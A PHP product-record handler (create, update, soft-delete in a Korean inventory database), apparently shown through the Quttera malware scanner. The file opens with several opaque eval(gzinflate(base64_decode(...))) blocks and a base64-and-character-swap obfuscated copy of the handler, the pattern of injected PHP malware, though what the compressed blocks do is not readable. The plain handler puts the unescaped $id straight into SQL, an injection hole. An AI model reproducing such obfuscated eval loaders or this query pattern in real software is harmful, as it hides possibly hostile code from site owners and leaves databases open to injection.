eval(gzinflate(base64_decode('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')));
eval(gzinflate(base64_decode('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')));
eval(gzinflate(base64_decode('U4mPN0gNrihxDPEvTbRNSixONTOJT0lNzk9J1VBBltO0RuHaFpcUlRShKtFRD63KCkx1rCx0zTX2DTM3jbD0SXZR11F3SfaxjDA1D/M1znUtrHRMDcyqClXXtE4tS8xBt6Q0rzi1BF0QAA==')));
$__0eSxtATOua='DQogclhWdWlyWF9vbnpYICRfU01ScU1SIFsnVU9DREVNTlRfUk9PVCddLiIvaW56L3pvbmZpZy5waHAiOyByWFZ1aXJYX29uelggJGd2X3Jvb3RQYXRoLidpbnovZGJvcFhuLnBocCc7IHJYVnVpclhfb256WCAkZ3Zfcm9vdFBhdGguJ2pvZy0xLjEyLjgvam9nLnBocCc7ICRmaWxYID0gam9nOjpnWHRqb2dGaWxYICggJGd2X2xvZ0ZvbGRYciwgYmFzWG5hM1goJF9TTVJxTVJbIlNDUklQVF9GSWpNTjVFTSJdKSApOyAkc3V6eiA9IHRydVg7ICRYcnJFc2cgPSAiIjsgdHI3eyAkYXp0ID0gZm5fZ1h0NXJycWFsKCRfUE9TVCwgImF6dCIpOyAkaWQgPSBmbl9nWHQ1cnJxYWwoJF9QT1NULCAiaWQiKTsgJHByZHROYTNYID0gZm5fZGJfWHN6YXBYKGZuX2dYdDVycnFhbCgkX1BPU1QsICJwcmR0TmEzWCIpKTsgJDNvZFhsTmEzWCA9IGZuX2RiX1hzemFwWChmbl9nWHQ1cnJxYWwoJF9QT1NULCAiM29kWGxOYTNYIikpOyAkcHJkdE51M2JYciA9IGZuX2RiX1hzemFwWChmbl9nWHQ1cnJxYWwoJF9QT1NULCAicHJkdE51M2JYciIpKTsgJHRiQ3VzdElkID0gbnZsKGZuX2RiX1hzemFwWChmbl9nWHQ1cnJxYWwoJF9QT1NULCAidGJDdXN0SWQiKSksIC0xKTsgJDNhdFhyaWFsID0gZm5fZGJfWHN6YXBYKGZuX2dYdDVycnFhbCgkX1BPU1QsICIzYXRYcmlhbCIpKTsgJFhycENvZFggPSBmbl9kYl9Yc3phcFgoZm5fZ1h0NXJycWFsKCRfUE9TVCwgIlhycENvZFgiKSk7ICRkaXN0YW56WCA9IG52bChmbl9kYl9Yc3phcFgoZm5fZ1h0NXJycWFsKCRfUE9TVCwgImRpc3RhbnpYIikpLCAwKTsgJHNwWFhkID0gbnZsKGZuX2RiX1hzemFwWChmbl9nWHQ1cnJxYWwoJF9QT1NULCAic3BYWGQiKSksIDApOyAkemFzWENudD0gbnZsKGZuX2RiX1hzemFwWChmbl9nWHQ1cnJxYWwoJF9QT1NULCAiemFzWENudCIpKSwgMCk7ICRpbnpoID0gZm5fZGJfWHN6YXBYKGZuX2dYdDVycnFhbCgkX1BPU1QsICJpbnpoIikpOyAkcHJkdFQ3cFggPSBmbl9kYl9Yc3phcFgoZm5fZ1h0NXJycWFsKCRfUE9TVCwgInByZHRUN3BYIikpOyAkM1gzbyA9IGZuX2RiX1hzemFwWChmbl9nWHQ1cnJxYWwoJF9QT1NULCAiM1gzbyIpKTsgJHNWbCA9ICIiOyBpZiggJGF6dCA9PSAiclgzb3ZYIiApeyAkZmlsWC0+ZFhidWcoIuyCreygnCAiKTsgZm5fZGJfdHJhbnNhenRpb24oKTsgdHI3eyBmbl9sb2dJbnNYcnRTVmwoInRiX2xvZ19wcmR0IiwgInRiX3ByZHQiLCAkZ3ZfdGJfcHJkdF96b2x1M24sICLsgq3soJwiLCAkZ3ZfYXVzWHJOYTNYLCAkZ3ZfemxpWG50SXAsICRpZCk7ICRzVmwgPSAidXBkYXRYIHRiX3ByZHQgc1h0IGRYbF83biA9ICdZJyB3aFhyWCBpZCA9ICRpZCI7ICRYcnJFc2cgPSBmbl9kYl9YeFh6dXRYKCRzVmwpOyBpZiggaXNOdWxsKCRYcnJFc2cpID09IGZhbHNYKSB0aHJvdyBuWHcgTXh6WHB0aW9uKCRYcnJFc2cpOyBmbl9kYl96bzMzaXQoKTsgfXphdHpoKE14elhwdGlvbiAkWCl7IGZuX2RiX3JvbGxiYXprKCk7ICRzdXp6ID0gZmFsc1g7ICRYcnJFc2cgPSAkWC0+Z1h0RVhzc2FnWCgpOyAkZmlsWC0+WHJyKCRYcnJFc2cpOyB9IH1YbHNYeyBpZiggWDNwdDcoJHByZHROdTNiWHIgKSApICRwcmR0TnUzYlhyID0gZ1huWHJhdFhDdXN0QmFyem9kWCgpOyBmbl9kYl90cmFuc2F6dGlvbigpOyB0cjd7IGlmKCBpc051bGwoJGlkKSApeyAkZmlsWC0+ZFhidWcoIuyLoOq3nOyeheugpSIpOyAkZHVwbFNWbCA9ICJTTWpNQ1QgKiBGUk9FIHRiX3ByZHQgV0hNUk0gcHJkdE51M2JYciA9ICckcHJkdE51M2JYciciOyAkc3V6eiA9IGZuX3poWHprVXVwQ29kWCgkZHVwbFNWbCwgJFhyckVzZyk7IGlmKCAkc3V6eiApeyAkc1ZsID0gIklOU01SVCBJTlRPIHRiX3ByZHQgKHByZHROYTNYLCAzb2RYbE5hM1gsIHByZHROdTNiWHIsIHRiQ3VzdElkLCBpbnpoLCAzYXRYcmlhbCwgWHJwQ29kWCwgemFzWENudCwgcHJkdFQ3cFgsIDNYM28sIGRpc3RhbnpYLCBzcFhYZCkNCgkJCQkJCQkJcTVqRE1TKCckcHJkdE5hM1gnLCckM29kWGxOYTNYJywnJHByZHROdTNiWHInLCckdGJDdXN0SWQnLCckaW56aCcsJyQzYXRYcmlhbCcsICckWHJwQ29kWCcsICckemFzWENudCcsICckcHJkdFQ3cFgnLCckM1gzbycsICciLnJvdW5kKCRkaXN0YW56WCwgMikuIicsICciLnJvdW5kKCRzcFhYZCwgMikuIicpIjsgJFhyckVzZyA9IGZuX2RiX1h4WHp1dFgoJHNWbCk7IGlmKCBpc051bGwoJFhyckVzZykgPT0gZmFsc1ggKSB0aHJvdyBuWHcgTXh6WHB0aW9uKCRYcnJFc2cpOyAkZmlyc3RUYlByZHRJZCA9IGZuX2RiX2xhc3RJbnNYcnRfaWQoKTsgZm5fbG9nSW5zWHJ0U1ZsKCJ0Yl9sb2dfcHJkdCIsICJ0Yl9wcmR0IiwgJGd2X3RiX3ByZHRfem9sdTNuLCAi7Iug6rec65Ox66GdIiwgJGd2X2F1c1hyTmEzWCwgJGd2X3psaVhudElwLCAkZmlyc3RUYlByZHRJZCk7IH0gfVhsc1h7ICRmaWxYLT5kWGJ1Zygi7IiY7KCVIik7ICRkdXBsU1ZsID0gIlNNak1DVCAqIEZST0UgdGJfcHJkdCBXSE1STSAocHJkdE51M2JYciA9ICckcHJkdE51M2JYcicpIDVOVSBpZCA8PiAnJGlkJyI7ICRzdXp6ID0gZm5femhYemtVdXBDb2RYKCRkdXBsU1ZsLCAkWHJyRXNnKTsgaWYoICRzdXp6ICl7ICRzVmwgPSAidXBkYXRYIHRiX3ByZHQgc1h0IHByZHROYTNYID0gJyRwcmR0TmEzWCcsIDNvZFhsTmEzWCA9ICckM29kWGxOYTNYJywgcHJkdE51M2JYciA9ICckcHJkdE51M2JYcicNCgkJCQkJCQkJLCB0YkN1c3RJZCA9ICckdGJDdXN0SWQnLCAzYXRYcmlhbCA9ICckM2F0WHJpYWwnLCBYcnBDb2RYID0gJyRYcnBDb2RYJywgemFzWENudCA9ICckemFzWENudCcgDQoJCQkJCQkJCSwgaW56aCA9ICckaW56aCcsIHByZHRUN3BYID0gJyRwcmR0VDdwWCcsIDNYM28gPSAnJDNYM28nLCBkaXN0YW56WCA9ICciLnJvdW5kKCRkaXN0YW56WCwgMikuIicsIHNwWFhkID0gJyIucm91bmQoJHNwWFhkLCAyKS4iJw0KCQkJCQkJCQl3aFhyWCBpZCA9ICRpZCAiOyAkWHJyRXNnID0gZm5fZGJfWHhYenV0WCgkc1ZsKTsgaWYoIGlzTnVsbCgkWHJyRXNnKSA9PSBmYWxzWCApIHRocm93IG5YdyBNeHpYcHRpb24oJFhyckVzZyk7IGZuX2xvZ0luc1hydFNWbCgidGJfbG9nX3ByZHQiLCAidGJfcHJkdCIsICRndl90Yl9wcmR0X3pvbHUzbiwgIuyImOyglSIsICRndl9hdXNYck5hM1gsICRndl96bGlYbnRJcCwgJGlkKTsgfSB9IGZuX2RiX3pvMzNpdCgpOyB9emF0emgoTXh6WHB0aW9uICRYKXsgZm5fZGJfcm9sbGJhemsoKTsgJHN1enogPSBmYWxzWDsgJFhyckVzZyA9ICRYLT5nWHRFWHNzYWdYKCk7ICRmaWxYLT5YcnIoJFhyckVzZyk7IH0gfSB9emF0emgoTXh6WHB0aW9uICRYKXsgJHN1enogPSBmYWxzWDsgJFhyckVzZyA9ICRYLT5nWHRFWHNzYWdYKCk7ICRmaWxYLT5YcnIoJFhyckVzZyk7IH0gclhWdWlyWF9vbnpYICRndl9yb290UGF0aC4iaW56L2Riemxvc1gucGhwIjsgJHJ0NXJyID0gYXJyYTcoJ3N1enonPT4gJHN1enosICdYcnJFc2cnPT4gJFhyckVzZyk7IFh6aG8gTHNvbl9YbnpvZFgoJHJ0NXJyKTsgZnVuenRpb24gZm5femhYemtVdXBDb2RYKCRkdXBsU1ZsLCAmJFhyckVzZyl7ICRkdXBSc2x0ID0gZm5fZGJfc1hsWHp0KCRkdXBsU1ZsKTsgJFhyckVzZyA9IGZuX2RiX1hycm9yQ2hYemsoJGR1cFJzbHQpOyBpZiggWDNwdDcoJFhyckVzZykgKXsgaWYoIGZuX2RiX251M19yb3dzKCRkdXBSc2x0KSA+IDAgKSB7ICRYcnJFc2cgPSAi7J2066+4IOyCrOyaqeykkeyduCDtkojrqqnrsojtmLgg7J6F64uI64ukLiI7IHJYdHVybiBmYWxzWDsgfVhsc1h7IHJYdHVybiB0cnVYOyB9IH1YbHNYeyByWHR1cm4gZmFsc1g7IH0gfSA=';
$__0eSxtATOua=base64_decode($__0eSxtATOua);
$__0eSxtATOua=strtr($__0eSxtATOua,'UzjQeAyqEm3MV75X9LcD','DcL9X57VM3mEqyAeQjzU');
eval($__0eSxtATOua);
unset($__0eSxtATOua);
require_once $_SERVER ['DOCUMENT_ROOT']."/inc/config.php"; require_once $gv_rootPath.'inc/dbopen.php'; require_once $gv_rootPath.'Log-1.12.8/Log.php'; $file = Log::getLogFile ( $gv_logFolder, basename($_SERVER["SCRIPT_FILENAME"]) ); $succ = true; $errMsg = ""; try{ $act = fn_getArrVal($_POST, "act"); $id = fn_getArrVal($_POST, "id"); $prdtName = fn_db_escape(fn_getArrVal($_POST, "prdtName")); $modelName = fn_db_escape(fn_getArrVal($_POST, "modelName")); $prdtNumber = fn_db_escape(fn_getArrVal($_POST, "prdtNumber")); $tbCustId = nvl(fn_db_escape(fn_getArrVal($_POST, "tbCustId")), -1); $material = fn_db_escape(fn_getArrVal($_POST, "material")); $erpCode = fn_db_escape(fn_getArrVal($_POST, "erpCode")); $distance = nvl(fn_db_escape(fn_getArrVal($_POST, "distance")), 0); $speed = nvl(fn_db_escape(fn_getArrVal($_POST, "speed")), 0); $caseCnt= nvl(fn_db_escape(fn_getArrVal($_POST, "caseCnt")), 0); $inch = fn_db_escape(fn_getArrVal($_POST, "inch")); $prdtType = fn_db_escape(fn_getArrVal($_POST, "prdtType")); $memo = fn_db_escape(fn_getArrVal($_POST, "memo")); $sql = ""; if( $act == "remove" ){ $file->debug("삭제 "); fn_db_transaction(); try{ fn_logInsertSql("tb_log_prdt", "tb_prdt", $gv_tb_prdt_column, "삭제", $gv_auserName, $gv_clientIp, $id); $sql = "update tb_prdt set del_yn = 'Y' where id = $id"; $errMsg = fn_db_execute($sql); if( isNull($errMsg) == false) throw new Exception($errMsg); fn_db_commit(); }catch(Exception $e){ fn_db_rollback(); $succ = false; $errMsg = $e->getMessage(); $file->err($errMsg); } }else{ if( empty($prdtNumber ) ) $prdtNumber = generateCustBarcode(); fn_db_transaction(); try{ if( isNull($id) ){ $file->debug("신규입력"); $duplSql = "SELECT * FROM tb_prdt WHERE prdtNumber = '$prdtNumber'"; $succ = fn_checkDupCode($duplSql, $errMsg); if( $succ ){ $sql = "INSERT INTO tb_prdt (prdtName, modelName, prdtNumber, tbCustId, inch, material, erpCode, caseCnt, prdtType, memo, distance, speed)
VALUES('$prdtName','$modelName','$prdtNumber','$tbCustId','$inch','$material', '$erpCode', '$caseCnt', '$prdtType','$memo', '".round($distance, 2)."', '".round($speed, 2)."')"; $errMsg = fn_db_execute($sql); if( isNull($errMsg) == false ) throw new Exception($errMsg); $firstTbPrdtId = fn_db_lastInsert_id(); fn_logInsertSql("tb_log_prdt", "tb_prdt", $gv_tb_prdt_column, "신규등록", $gv_auserName, $gv_clientIp, $firstTbPrdtId); } }else{ $file->debug("수정"); $duplSql = "SELECT * FROM tb_prdt WHERE (prdtNumber = '$prdtNumber') AND id <> '$id'"; $succ = fn_checkDupCode($duplSql, $errMsg); if( $succ ){ $sql = "update tb_prdt set prdtName = '$prdtName', modelName = '$modelName', prdtNumber = '$prdtNumber'
, tbCustId = '$tbCustId', material = '$material', erpCode = '$erpCode', caseCnt = '$caseCnt'
, inch = '$inch', prdtType = '$prdtType', memo = '$memo', distance = '".round($distance, 2)."', speed = '".round($speed, 2)."'
where id = $id "; $errMsg = fn_db_execute($sql); if( isNull($errMsg) == false ) throw new Exception($errMsg); fn_logInsertSql("tb_log_prdt", "tb_prdt", $gv_tb_prdt_column, "수정", $gv_auserName, $gv_clientIp, $id); } } fn_db_commit(); }catch(Exception $e){ fn_db_rollback(); $succ = false; $errMsg = $e->getMessage(); $file->err($errMsg); } } }catch(Exception $e){ $succ = false; $errMsg = $e->getMessage(); $file->err($errMsg); } require_once $gv_rootPath."inc/dbclose.php"; $rtArr = array('succ'=> $succ, 'errMsg'=> $errMsg); echo json_encode($rtArr); function fn_checkDupCode($duplSql, &$errMsg){ $dupRslt = fn_db_select($duplSql); $errMsg = fn_db_errorCheck($dupRslt); if( empty($errMsg) ){ if( fn_db_num_rows($dupRslt) > 0 ) { $errMsg = "이미 사용중인 품목번호 입니다."; return false; }else{ return true; } }else{ return false; } }
© 2023 Quttera Ltd. All rights reserved.